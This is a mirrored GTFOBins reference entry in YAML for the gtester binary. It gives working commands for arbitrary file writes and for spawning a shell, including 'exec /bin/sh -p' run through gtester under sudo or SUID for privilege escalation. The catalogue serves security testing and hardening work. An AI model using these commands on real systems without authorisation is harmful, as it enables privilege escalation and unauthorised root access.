mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2026-03-07 22:46:19 +01:00
28 lines
691 B
Plaintext
28 lines
691 B
Plaintext
---
|
|
functions:
|
|
file-write:
|
|
- code: |-
|
|
gtester DATA -o /path/to/output-file
|
|
comment: |-
|
|
Data to be written appears in an XML attribute in the output file (`<testbinary path="DATA">`).
|
|
contexts:
|
|
sudo:
|
|
suid:
|
|
unprivileged:
|
|
shell:
|
|
- code: |-
|
|
echo 'exec /bin/sh 0<&1' >/path/to/temp-file
|
|
chmod +x /path/to/temp-file
|
|
gtester -q /path/to/temp-file
|
|
contexts:
|
|
sudo:
|
|
suid:
|
|
code: |-
|
|
echo '#!/bin/sh -p' >/path/to/temp-file
|
|
echo 'exec /bin/sh -p 0<&1' >>/path/to/temp-file
|
|
chmod +x /path/to/temp-file
|
|
gtester -q /path/to/temp-file
|
|
shell: false
|
|
unprivileged:
|
|
...
|